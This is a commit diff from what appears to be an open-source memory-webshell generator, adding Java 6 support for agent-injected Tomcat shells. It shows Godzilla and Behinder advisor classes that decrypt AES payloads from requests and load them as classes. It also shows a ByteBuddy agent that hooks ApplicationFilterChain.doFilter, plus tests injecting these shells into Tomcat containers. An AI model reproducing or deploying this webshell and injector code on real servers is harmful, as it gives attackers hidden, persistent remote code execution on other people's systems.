mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: tomcat agent support jdk6
This commit is contained in:
+8
-4
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +35,8 @@ public class Tomcat5ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -64,7 +65,10 @@ public class Tomcat5ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -78,6 +82,6 @@ public class Tomcat5ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
+9
-4
@@ -18,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.tomcatPid;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +36,8 @@ public class Tomcat6ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -64,7 +66,10 @@ public class Tomcat6ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -78,6 +83,6 @@ public class Tomcat6ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
+9
-4
@@ -18,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.tomcatPid;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +36,8 @@ public class Tomcat7ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -64,7 +66,10 @@ public class Tomcat7ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -77,6 +82,6 @@ public class Tomcat7ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container);
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,7 @@ java {
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
providedCompile 'javax.websocket:javax.websocket-api:1.1'
|
||||
}
|
||||
+13
-2
@@ -11,7 +11,6 @@ import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@@ -55,7 +54,19 @@ public class TomcatFilterChainBehinderAdvisor {
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine()));
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = req.getReader().readLine();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
byte[] bytes = c.doFinal(data);
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||
+21
-3
@@ -11,7 +11,6 @@ import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -37,7 +36,17 @@ public class TomcatFilterChainGodzillaAdvisor {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
String parameter = request.getParameter(pass);
|
||||
byte[] data = Base64.getDecoder().decode(parameter);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
||||
c.init(2, keySpec);
|
||||
@@ -58,7 +67,16 @@ public class TomcatFilterChainGodzillaAdvisor {
|
||||
|
||||
c.init(1, keySpec);
|
||||
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
||||
String value = Base64.getEncoder().encodeToString(encryptBytes);
|
||||
String value = null;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||
}
|
||||
response.getWriter().write(value);
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
+24
-7
@@ -2,9 +2,13 @@ package com.reajason.javaweb.memshell.tomcat.injector;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -12,7 +16,25 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
*/
|
||||
public class TomcatFilterChainAgentInjector {
|
||||
public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
@@ -28,18 +50,13 @@ public class TomcatFilterChainAgentInjector {
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
Class<?> interceptorClass = Class.forName(getClassName());
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
|
||||
.transform(
|
||||
(builder, typeDescription, classLoader,
|
||||
module, protectionDomain) ->
|
||||
builder.visit(Advice.to(interceptorClass).on(named("doFilter")))
|
||||
)
|
||||
.transform(new TomcatFilterChainAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
@@ -1,14 +1,4 @@
|
||||
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
|
||||
import {
|
||||
AlertDialog,
|
||||
AlertDialogAction,
|
||||
AlertDialogCancel,
|
||||
AlertDialogContent,
|
||||
AlertDialogDescription,
|
||||
AlertDialogFooter,
|
||||
AlertDialogHeader,
|
||||
AlertDialogTitle,
|
||||
} from "@/components/ui/alert-dialog";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
|
||||
import { Input } from "@/components/ui/input.tsx";
|
||||
@@ -44,8 +34,6 @@ export function MainConfigCard({
|
||||
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
|
||||
const [shellTools, setShellTools] = useState<string[]>([]);
|
||||
const [shellTypes, setShellTypes] = useState<string[]>([]);
|
||||
const [openAgentConfirm, setOpenAgentConfirm] = useState(false);
|
||||
const [currentShellType, setCurrentShellType] = useState<string>("");
|
||||
|
||||
const handleServerChange = (value: string) => {
|
||||
if (mainConfig) {
|
||||
@@ -247,39 +235,7 @@ export function MainConfigCard({
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>内存马挂载类型</FormLabel>
|
||||
<AlertDialog open={openAgentConfirm} onOpenChange={setOpenAgentConfirm}>
|
||||
<AlertDialogContent>
|
||||
<AlertDialogHeader>
|
||||
<AlertDialogTitle>Agent 注入当前仅支持 Java8 以上,是否仍要选择?</AlertDialogTitle>
|
||||
<AlertDialogDescription>确认后会将 JRE 版本改为 Java8</AlertDialogDescription>
|
||||
</AlertDialogHeader>
|
||||
<AlertDialogFooter>
|
||||
<AlertDialogCancel>Cancel</AlertDialogCancel>
|
||||
<AlertDialogAction
|
||||
onClick={() => {
|
||||
form.setValue("targetJdkVersion", "52");
|
||||
form.setValue("shellType", currentShellType);
|
||||
}}
|
||||
>
|
||||
Confirm
|
||||
</AlertDialogAction>
|
||||
</AlertDialogFooter>
|
||||
</AlertDialogContent>
|
||||
</AlertDialog>
|
||||
<Select
|
||||
onValueChange={(v) => {
|
||||
if (
|
||||
v.startsWith("Agent") &&
|
||||
Number.parseInt(form.getValues("targetJdkVersion") as string) === 50
|
||||
) {
|
||||
setOpenAgentConfirm(true);
|
||||
setCurrentShellType(v);
|
||||
} else {
|
||||
field.onChange(v);
|
||||
}
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<Select onValueChange={field.onChange} value={field.value}>
|
||||
<FormControl>
|
||||
<SelectTrigger className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
|
||||
@@ -81,11 +81,6 @@ function IndexComponent() {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (values.shellType.startsWith("Agent") && values.targetJdkVersion === "50") {
|
||||
toast.warning("Agent 注入方式当前仅支持 Java8 以上");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!values.shellType.startsWith("Agent") && values.packingMethod === "AgentJar") {
|
||||
toast.warning("Agent 注入方式当前仅支持 Tomcat,只有 Agent 注入方式才可使用 AgentJar 打包方式");
|
||||
return false;
|
||||
|
||||
Reference in New Issue
Block a user